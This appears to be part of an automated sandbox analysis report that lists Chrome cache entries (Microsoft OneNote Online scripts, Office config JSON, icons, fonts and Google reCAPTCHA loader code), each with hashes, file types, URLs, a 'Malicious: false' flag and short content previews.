SHA-512:	7ED7D4269C44C111C570939EE8F992BFBEB2A6311B6A344DF7078EBEA6DEEAEF25AAE8237DBAF2FF11612A29A862D4447CF6D7244604A73A164CA4CE39CEB3A2
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/api2/';(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true;var m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='Az520Inasey3TAyqLyojQa8MnmCALSEU29yQFW8dePZ7xQTvSt73pHazLFTK5f7SyLUJSo2uKLesEtEa9aUYcgMAAACPeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZyIsImV4cGlyeSI6MTcyNTQwNzk5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=';d.head.prepend(m);po.src='https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js';po.crossOrigin='anonymous';po.integrity='sha384-0lJkOVHDy3ItYlCbUoEzThjP3hLhLYfEFPAkVO

Chrome Cache Entry: 288

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1115
Entropy (8bit):	7.474905425501729
Encrypted:	false
SSDEEP:	24:OQkGe2gKOcQO9S80Axzhkzc7iFTZkqeNblj5ILlN0EFgFahPKN7FqP8:OQkRrTCbxzwSiZLCN52TFgM5KN7Fp
MD5:	084E7612635DFCF69A16255B41E70CAA
SHA1:	0D9721AA70B01487D3340B864C0BD49FB1D95206
SHA-256:	7B389747818635BCA6FE76F5E3226EDA36AF53D8F27526796BC975EBD440A395
SHA-512:	A0104DBB40429BCA5F54061CE6D36A695283D883CE1B732CA87A30743234D29BEBA07A0100DE0DE0B274A70C8C7C289574F6343DF16C3E4C7B6453F60E8737B9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......w8....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.k.A.....@ .6.* ..H...R....V....l.! X..Z..Z..... X... .. .{.^fw...{.fv..70.~..\|........ .. .. .. .. .. .. .. .. .. .. ..3.8.1q....(.&.....B.o.."w..Y.....]......~0N0....]..z....\|.n........_..O...9..8@..K./..%..[..LQ.rm:.H.>...-..;,...9.G.n....`.{..-.F...'.?...y..]H..o{y..#.....]..x\|...K.(x\|p~.....r..R..~\.2.Y...f.Q..i...o...r.........Gc..Bp.Ol..\(...~.T...,....j.O.(e......j(e. ...Z....Rf......j(e. ...Z....Rf......j(e.....D.,Y.....~..n.[.........PA....]....0.mK...sE.........J~}z[.!n...RV\|.#.......7s.......)B.e;j2.........tX..k.....o.V....j.k3A........9..?R....Z....5t..j....f.Z.....E.L....J..7.}Uk.......H..i.Z...1...x$....]<I.......#ixw..h.h.h.a.4....9.&.v.....2i..D..l...'.-.+.._...eLZ...M..x..1%.g....'A..X.....jkK.^W.}.m...T....\|...._.^.[..~u'...mco.8...nT....d.m.I.b..M.4...s.U.;Yu...k.1\|..93a..(M..2..U......B..S..O...........c.......?)....iz.D...T.D!....R

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (570)
Category:	downloaded
Size (bytes):	4963521
Entropy (8bit):	5.686676687976095
Encrypted:	false
SSDEEP:	49152:nMo7hPFx2pEgMDr2tuQsnDTHg2NcKYPt3uVaZN6RlwmCwpKbccH8zodsfclXoF+X:SgUKAA/AWGgc9
MD5:	09628BDC43A64012041C9AD361B5EA02
SHA1:	5DDEE6822687822B71EEE2D7E24A41382A79F2F8
SHA-256:	52C335E6448447C315E216B77E5E362075D7419BE5808F01D0F31E4EDD865508
SHA-512:	B23C7ED495DECFB1E4DCAF5E01DFB92D41695D0B9C6C828D9434A432F4CE748AD904733DE858CACC0748CB4927A1B3A6CDD28CCBBA37063019443A8E65C2200A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h52C335E6448447C3_App_Scripts/OneNoteDS.js
Preview:	/. The buffer module from node.js, for the browser... @author Feross Aboukhadijeh <https://feross.org>. @license MIT. ieee754. BSD-3-Clause License. Feross Aboukhadijeh <https://feross.org/opensource> https://mths.be/punycode v1.4.1 by @mathias Copyright (c) Microsoft Corporation and contributors. All rights reserved.. Licensed under the MIT License.. ************************************ !\. ! ./lib/generated/qosWac.gen.js !. \********************************* exports provided: QosPillarName exports used: QosPillarName ******************** !\. ! ./lib/index.js !. \******************** all exports used ./generated/qosWac.gen */.'use strict';function jg(Ga){var cb=0;return function(){return cb<Ga.length?{done:!1,value:Ga[cb++]}:{done:!0}}}var eF="function"==typeof Object.defineProperties?Object.defineProperty:function(Ga,cb,V){if(Ga==Array.prototype\|\|Ga==Object.prototype)return Ga;Ga[cb]=V.value;return Ga};.function fF(Ga){Ga=["object"==typeof gl

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	363
Entropy (8bit):	5.491383438386721
Encrypted:	false
SSDEEP:	6:Yq0qjbQr6pjLpsSFHWD7XvZT3o8Twcgvo8MuXSxp8zrpHqYw8VetpLRVlhIvY:Yq0+0mtiSFH410QOjMYCparpHuPfXR
MD5:	4A78993346D44D33DBE28229EC079968
SHA1:	1802BA3661358C839E65E1C41743B9FC02092CE9
SHA-256:	0C0C1835832050144900940BE8FC32236C5AE63D46028A96430C7DF75BB9C1D1
SHA-512:	022520311065FF6E1B83C533CBD0A5E9D4BD05F10B69CB3756130DDC3BE1112163F894869E04FBFBFFA7F59FDC16956275945A29B96A6968106277808EB2C690
Malicious:	false
Reputation:	low
URL:	https://ecs.office.com/config/v1/OneShell/1.0.0.0?agents=OneShell&IsConsumer=true&WorkloadId=OneNoteOnline&TenantId=84df9e7f-e9f6-40af-b435-aaaaaaaaaaaa&UserId=urn%3Aspo%3Aanon%23e3e4223b5e2c3a3867da5a765cb24d45b99f9f19eeeb53ea08e834d786be0b3d&UPN=urn%3Aspo%3Aanon%23e3e4223b5e2c3a3867da5a765cb24d45b99f9f19eeeb53ea08e834d786be0b3d
Preview:	{"OneShell":{"UpdatedConsumerAppList":true,"M365StartEnabled":true,"DisableM365StartIntentsModule":false,"default":true},"Headers":{"ETag":"\"FO6m/F5jS96NgUJqNUG2VzZi0XTxWzqJ64gKi6MEfw8=\"","Expires":"Fri, 26 Apr 2024 08:59:27 GMT","CountryCode":"US","StatusCode":"200"},"ConfigIDs":{"OneShell":"P-E-1231703-2-6,P-R-1157040-4-8,P-R-1131228-4-17,P-D-1117449-1-4"}}

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22115)
Category:	downloaded
Size (bytes):	22169
Entropy (8bit):	4.690753538260286
Encrypted:	false
SSDEEP:	384:eo3GO9OuOPgOyOKOEOuOjOeOsO6SOYOIOE:eoWO9OuO4OyOKOEOuOjOeOsOlOYOIOE
MD5:	30DBB6DD25AC6B7A50644E5D5C91E389
SHA1:	D3715AD1FD3DD491B9FB661C2FD4AABD65A2AC8D
SHA-256:	FB5DE37DFF795767AA4EC685C1B04F85022BB85EEF1531C6B028BA524037FB50
SHA-512:	BC89FAC4818CD8C8EDF7368D577460272508F907A8B69BECD3B7509024DCABF0E988DC11409C5B93A23A5B42FC896D8C9349BAA5F6C2CB2BEC57FA7DF5196705
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/onenoteloadingspinner.min.js
Preview:	"use strict";(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[461],{34731:function(i,a,t){t.r(a),t.d(a,{default:function(){return n}});var x=t(85549),r=t(98303),e=new x.h("oreo-loadingSpinner"),s=function(){function i(){}return i.getData=function(){return new Promise((function(i,a){i(t(28132))}))},i}(),k=null;const n=function(){function i(){}return i.startAnimation=function(){var i=this,a="OreoLoadingSpinner",t=document.getElementById("WACPageLoadingIndicator");if(t){if(k&&window.clearTimeout(k),k=window.setTimeout((function(){document.getElementById(a)&&e.warningTag(591407137,"OneNote Oreo Spinner is active for too long ".concat(3e4))}),3e4),!this.spinner)return new Promise((function(x,k){e.infoTag(591407138,"OneNote Oreo Spinner is loading."),s.getData().then((function(x){var e=document.createElement("span");e.id=a,e.className="oreoLoadingSpinner",t.insertBefore(e,t.firstChild);var s={container:e,renderer:"svg",loop:!0,autoplay:!0,animationData:x};i.spinner=

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (563)
Category:	downloaded
Size (bytes):	1953
Entropy (8bit):	5.055937784582149
Encrypted:	false
SSDEEP:	48:1L/1yoDUKXGI3u19Wqcg2EGCKP1LPc5ZGjmiGjKuf:d1lRXIWqFyP1LPc5ZGjmnjKuf
MD5:	B84D6A3926AED65635B46A1C987504F4
SHA1:	C08AD1CB146AFCF177AEF0FDE9E2C5494748D7DE
SHA-256:	15144D2AC9EF04970B65DB1220EC99241C3C35330885AB129E472700B1AFE016
SHA-512:	FD97F5F26F58CDDA059CAC5AE304954304DA68FA92C4A44B4E745C446B82446464B367BA875155966AE84C27757B03BC89995F75F2457B7136AB5DE2E39D9C72
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/files/odsp-web-prod_2024-04-12.007/wacowlhostwebpack/en-us/ondemand.resx.js
Preview:	"use strict";(self.odspNextWebpackJsonp=self.odspNextWebpackJsonp\|\|[]).push([["ondemand.resx"],{682:e=>{e.exports=JSON.parse('{"b":"Pick a file\|\|Pick files","a":"1\|\|2-","d":"Pick a folder\|\|Pick folders","c":"1\|\|2-","f":"Pick an item\|\|Pick items","e":"1\|\|2-"}')}.,639:e=>{e.exports=JSON.parse('{"a":"My files"}')}.,640:e=>{e.exports=JSON.parse('{"c":"Couldn\\u0027t load the share experience. Please try again later.","b":"Share","a":"Loading share dialog"}')}.,631:e=>{e.exports=JSON.parse('{"m":"Open in Word","h":"Open in Project","b":"Open in Excel","g":"Open in PowerPoint","e":"Open in OneNote","k":"Open in Visio","i":"Open in Publisher","c":"Open in InfoPath","l":"Open in Word Online","f":"Open in PowerPoint Online","a":"Open in Excel Online","d":"Open in OneNote Online","j":"Open in Visio Online"}')}.,750:e=>{e.exports=JSON.parse('{"g":"Are you sure you want to embed this folder?","f":"Embedding this folder is not recommended because some apps automatically add files to it. If you embe

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65530), with no line terminators
Category:	downloaded
Size (bytes):	654522
Entropy (8bit):	5.521300321901229
Encrypted:	false
SSDEEP:	12288:YUEd33S/OPTyfSlImMQDSt4jIlkIlZlt/ltZtNhlJakECuY:YT3PTyfSlImMQDSYIlkIlZlVakEtY
MD5:	F8102D3FA3867FAF52863BB7AECD7D7E
SHA1:	1BDAAEA9CCCAC15ADAEB996F382EA2FE70D6E851
SHA-256:	8485083BAC0ECEF227326D5D941C46BA1B314DBE54C13F11D906E3871CB4EB76
SHA-512:	9C17706475F7B89BF5B0886BD5444FCC44899843492C4D2864F65AA2CE39E37FB3E848D52B082409CA8A80283F5D1B74A940734C4A6ABB33347A370F9BD2BE6F
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/wp5/appChromeLazy.min.js
Preview:	(globalThis.onenoteOnlineChunks=globalThis.onenoteOnlineChunks\|\|[]).push([[743],{44343:function(e,t,n){"use strict";n.d(t,{u:function(){return i}});var o=n(91671),r=n(76031);const i=e=>((0,r.a)(e),(0,o.BX)(e.root,{children:[e.contentBefore&&(0,o.tZ)(e.contentBefore,{}),(0,o.tZ)(e.input,{}),e.contentAfter&&(0,o.tZ)(e.contentAfter,{})]}))},27903:function(e,t,n){"use strict";n.d(t,{h:function(){return p}});var o=n(64300),r=n(88189),i=n(44102);const a=(0,o.U)("r1jtohuq","rl1z2p5",{r:[".r1jtohuq{display:inline-flex;align-items:center;flex-wrap:nowrap;gap:var(--spacingHorizontalXXS);border-radius:var(--borderRadiusMedium);position:relative;box-sizing:border-box;min-height:32px;padding:0 var(--spacingHorizontalMNudge);font-family:var(--fontFamilyBase);font-size:var(--fontSizeBase300);font-weight:var(--fontWeightRegular);line-height:var(--lineHeightBase300);background-color:var(--colorNeutralBackground1);border:1px solid var(--colorNeutralStroke1);border-bottom-color:var(--colorNeutralStrokeAc

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (631)
Category:	downloaded
Size (bytes):	517649
Entropy (8bit):	5.713376874006511
Encrypted:	false
SSDEEP:	6144:m1K1Z7NMxjW6eJoWvAlUjWwuMSYCVvLk8DSWd1Ps8Jz38iZc:m6eWTAujfuPY0JGgkt
MD5:	E2E79D6B927169D9E0E57E3BAECC0993
SHA1:	1299473950B2999BA0B7F39BD5E4A60EAFD1819D
SHA-256:	231336ED913A5EBD4445B85486E053CAF2B81CAB91318241375F3F7A245B6C6B
SHA-512:	D6A2ED7B19E54D1447EE9BBC684AF7101B48086945A938A5F9B6AE74ACE30B9A98CA83D3183814DD3CC40F251AB6433DC7F8B425F313EA9557B83E1C2E035DFF
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.8013557344442175
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKVnIwN4wECWaee:PLKdXNQKVnDoCL
MD5:	284B36421A1CF446F32CB8F7987B1091
SHA1:	EB14D6298C9DA3FB26D75B54C087EA2DF9F3F05F
SHA-256:	94AB2BE973685680D0BE9C08D4E1A7465F3C09053CF631126BD33F49CC2F939B
SHA-512:	093F3F5624DE2E43E43EB06036107FF3260237F9E47E1F86FDFBA7C7036522187A9B47B291F5443C566658A8EF555E5033C7F2AC0C9F4FA8EB69EB8E2540B372
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=V6_85qpc2Xf2sbe3xTnRte7m
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/V6_85qpc2Xf2sbe3xTnRte7m/recaptcha__en.js');

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	17049
Entropy (8bit):	4.928084398979707
Encrypted:	false
SSDEEP:	384:r3Ghr6oaSwSaPQsPq3Qf3/U/8vFwoJbr2wKodV3vzJ9YaikHcL2MQk7:rQzwSkQWjU/8BlOaikMKu
MD5:	52AF792134B43BB66AC6FB020EC0B324
SHA1:	7B8A12118EE106DAA8FCECE7625D1DE871835A21
SHA-256:	E08CA1BE8ADF907921F594F700E9267582333BA0A4337C820E8C937989301574
SHA-512:	18DFBEA096D821FB1E82C9D01AEB1569AD600FE8E3CDCA6F735DFB7960D26F2E45BFF587C8D9F8A210E12D03BDD6CCE6246011CB83009599D11FA0D6327E788A
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/strings/en/shellstrings.json
Preview:	{. "Microsoft": "Microsoft",. "FlexpaneCloseButton": "Close pane",. "Me_Header": "My account",. "MePhotoAriaLabel": "{0} {1} Current account's user photo",. "ChangePhotoAriaLabel": "{0} {1} Change the photo that appears in IM. This may open a new window.",. "MePhotoTitle": "Current account's user photo",. "ChangePhotoTitle": "Change the photo that appears in IM. This may open a new window.",. "AppLauncherAriaLabel": "App launcher opened",. "AppLauncherCloseAriaLabel": "Close the app launcher",. "AppLauncherHomeAriaLabel": "Microsoft 365, will be open in new tab",. "AppsModuleHeading": "Apps",. "Microsoft365": "Microsoft 365",. "AppsModuleAllApps": "All apps",. "AppsModuleAllAppsTooltip": "Open all apps",. "AllViewGroupShowMore": "Show More",. "AllViewGroupShowLess": "Show Less",. "AllViewBack": "Back",. "AllViewNewGroupHeading": "New",. "AllViewAdminSelectedGroupHeading": "Admin selected apps",. "AllViewMoreFirstPartyGroupHeading": "More from Microsoft",. "AllViewT

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1115
Entropy (8bit):	7.474905425501729
Encrypted:	false
SSDEEP:	24:OQkGe2gKOcQO9S80Axzhkzc7iFTZkqeNblj5ILlN0EFgFahPKN7FqP8:OQkRrTCbxzwSiZLCN52TFgM5KN7Fp
MD5:	084E7612635DFCF69A16255B41E70CAA
SHA1:	0D9721AA70B01487D3340B864C0BD49FB1D95206
SHA-256:	7B389747818635BCA6FE76F5E3226EDA36AF53D8F27526796BC975EBD440A395
SHA-512:	A0104DBB40429BCA5F54061CE6D36A695283D883CE1B732CA87A30743234D29BEBA07A0100DE0DE0B274A70C8C7C289574F6343DF16C3E4C7B6453F60E8737B9
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_resources/1033/agavedefaulticon96x96.png
Preview:	.PNG........IHDR...`...`......w8....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^.k.A.....@ .6.* ..H...R....V....l.! X..Z..Z..... X... .. .{.^fw...{.fv..70.~..\|........ .. .. .. .. .. .. .. .. .. .. ..3.8.1q....(.&.....B.o.."w..Y.....]......~0N0....]..z....\|.n........_..O...9..8@..K./..%..[..LQ.rm:.H.>...-..;,...9.G.n....`.{..-.F...'.?...y..]H..o{y..#.....]..x\|...K.(x\|p~.....r..R..~\.2.Y...f.Q..i...o...r.........Gc..Bp.Ol..\(...~.T...,....j.O.(e......j(e. ...Z....Rf......j(e. ...Z....Rf......j(e.....D.,Y.....~..n.[.........PA....]....0.mK...sE.........J~}z[.!n...RV\|.#.......7s.......)B.e;j2.........tX..k.....o.V....j.k3A........9..?R....Z....5t..j....f.Z.....E.L....J..7.}Uk.......H..i.Z...1...x$....]<I.......#ixw..h.h.h.a.4....9.&.v.....2i..D..l...'.-.+.._...eLZ...M..x..1%.g....'A..X.....jkK.^W.}.m...T....\|...._.^.[..~u'...mco.8...nT....d.m.I.b..M.4...s.U.;Yu...k.1\|..93a..(M..2..U......B..S..O...........c.......?)....iz.D...T.D!....R

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (22549), with no line terminators
Category:	downloaded
Size (bytes):	22549
Entropy (8bit):	5.233944822567668
Encrypted:	false
SSDEEP:	384:hGWbrWnKEbiEHU0zUInsjaIysOzhLU4UjYAlmCqfWlDlQScO4HFVVkT84vyrv:RbanKEbiE00YInrIyXwYAEYaSmHS8cwv
MD5:	7385C001F30F28CB0C7BB8FB25239822
SHA1:	88260C27610F437DEC3EAD52FACAB4E87847F44C
SHA-256:	6F17CB43B14333BF54149EB7178D20866BCFB0D5F401B30F82FEED52AF951BDA
SHA-512:	428C9839583AE0C169C0A76E63D37AD7ADE29A2B7648F64968BCB49897991813342CC27A009476FF5976E6928300A988C97700403C2203D721AF267E84DDDC27
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/js/suiteux.shell.umc_mecontrol.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_umc_mecontrol_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["umc_mecontrol"],{83407:function(t,e,n){n.r(e),n.d(e,{UniversalMeControlConnector:function(){return M}});var o=n(61371),i=n(46676),r=n(62244),s=n(58866),a=n(89433);var l=n(64731),p=n(91011),h=n(32825);const d=5,u=500,c=1.5;function g(t,e,n,o){let i=document.createElement("script");if(i.src=window.O365ShellContext.TrustedTypesPolicies[h.GD].createScriptURL(t),i.crossOrigin="anonymous",i.async=!0,null!=e){i.onload=i=>{if(o){let r=Date.now()+200,s=()=>{o()?e(i):Date.now()>r?n({ResourceName:t,Details:12}):setTimeout((()=>{s()}),50)};s()}else e(i)},null!=n&&(i.onerror=(e,o,i,r,s)=>{n(function(t,e,n,o,i,r){let s;s="string"==typeof e?e:e.type;return{ResourceName:t,Details:`Scr

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 6784, version 3.30147
Category:	downloaded
Size (bytes):	6784
Entropy (8bit):	7.904750792584749
Encrypted:	false
SSDEEP:	192:kon76LllcpK5ncpd8WvBwWTqIvTeH9G2IewqXb6Ys:kWYQKnS8WvOUvSH9GDqXON
MD5:	14EC2D31F37BB0F43FD441D11E771D50
SHA1:	48F83A9581A5E37AD1CCD0D4848EFC7FA64C17CF
SHA-256:	43C551EA819A83B1100F566ECF6BD70DB5A019F165D221200AF2DF11C4448627
SHA-512:	51CABEBB52DC3036CC584B0D03F0107AC7170DCC124A756B6CBFF098893506D8DAB4877FEFD71E3C83016262FACC9735F2BD1BF5D0EC4B6097E3013D287F4BA0
Malicious:	false
Reputation:	low
URL:	https://res.cdn.office.net/files/fabric-cdn-prod_20240129.001/assets/icons/fabric-icons-a13498cf.woff
Preview:	wOFF..............-<..u.....................OS/2...D...H...`1Fy.cmap.......#.....<.dcvt ....... .......fpgm...........Y...gasp................glyf...........,=_..head.......2...6....hhea...........$....hmtx.......N...x....loca...P...v...v.^..maxp........... .`..name...............Rpost........... .Q..prep............x...x.c`a..8.....u..1...4.f...$..........@ ...........>....!$.X.........F..x.c```f.`..F ..x..c..Y.7......V.....y..=....\..s..2....>..n.....s..9..w>_...../.^Lx1...3^l.q...O^.y......._Y..z...7_..\|......................6..).h...6.x......&IF....%.$>K...$.Q..{...w$nH<..,qTb.D.D.D.D.D..M...v.6.V.t..q;q[q3qM..b...D.\.n.......<.xX0]`..&.....~..BB.>...~v.V.....x.c.b.e(`h`X.......x............x.]..N.@..s$..'@:!.uC....K$.%%...J.......n..b.........\|.s...\|v..G*)V.7........!O.6eaL.yV.e.j..kN..M.h....Lm....-b....p.N.m.v.....U<..#...O.}.K..,V..&...^...L.c.x.....?ug..l9e..Ns.D....D...K........m..A.M....a.....g.P..`....d.............x..Y.tT.....g....2L..$/..I.

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43031)
Category:	downloaded
Size (bytes):	211427
Entropy (8bit):	5.523541165698391
Encrypted:	false
SSDEEP:	3072:EJoMo0fayfy3kwNtCrmDNZgrK65AtztWmBdLi6Ko8yVv:qo0yn3kwrCaNGrby/O6Ko8S
MD5:	0739FFD37DC4F7045EE5CCB28BBB50EB
SHA1:	8CA8A2B06E141E04B71CCB9527B5466433BAF94F
SHA-256:	353EF827F001602C515593219705891EC23056BB07B777681BE1C3CAA5FBE397
SHA-512:	74BAD9B01D78B65A018DA41D8DE9C12FBC3B3CEFEDB25BD42AB54B2384BCF650C140E7C77F9ED2C195E0173E7868818A94CA86523A665FBC30775E1686FD98A7
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/161760141008_App_Scripts/suiteux-shell/js/suiteux.shell.plus.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_plus_start"),(self["suiteux_shell_webpackJsonp_suiteux-main"]=self["suiteux_shell_webpackJsonp_suiteux-main"]\|\|[]).push([["plus"],{58368:function(e,t,n){(t=e.exports=n(47632)(!1)).push([e.id,'.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={display:-ms-flexbox;display:flex;-ms-flex-direction:row;flex-direction:row;border:1px solid hsla(0,0%,100%,0);box-shadow:0 1px 2px 0 rgba(0,0,0,.1);box-sizing:border-box;width:276px;padding-left:0;align-items:flex-start;margin:0 0 17px 16px}html[dir=rtl] .o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\={margin-left:0;margin-right:16px}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=:hover{-webkit-box-shadow:0 8px 16px 0 rgba(0,0,0,.1);box-shadow:0 8px 16px 0 rgba(0,0,0,.1)}.o365cs-base .oxbF2LyKwVB\\/a5\\+4gTMkFg\\=\\=>button{min-width:30px;width:30px;height:36px;paddi

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (27024), with CRLF line terminators
Category:	downloaded
Size (bytes):	27026
Entropy (8bit):	5.536845977615562
Encrypted:	false
SSDEEP:	384:ne7LRwe03wCS8V012RwlKzXicngH8I4qIZD3338z3YSzK1/0:ne756VnzZbI6Dn8z3YWd
MD5:	A230E20FEECBB758D7C13303A657EEDD
SHA1:	F12606CCE8600D9DFB5316610EE5177BA51B0CE9
SHA-256:	816A0F42A2BF473213A47BE1DDE62215811D54AF1151A1E9916DC215DF6EC776
SHA-512:	1C6F7288BEBAB71D8B6C7CE21D5F1FAA53C6710FAF1A0F611C0313E71BD5DB17A304E433686836AB2EEAE0E0ACBDDEAA2E1E82EDE54145520542C0361066FEE0
Malicious:	false
Reputation:	low
URL:	https://res-1.cdn.office.net/officeonline/o/s/h816A0F42A2BF4732_resources/1033/EditSurface.css
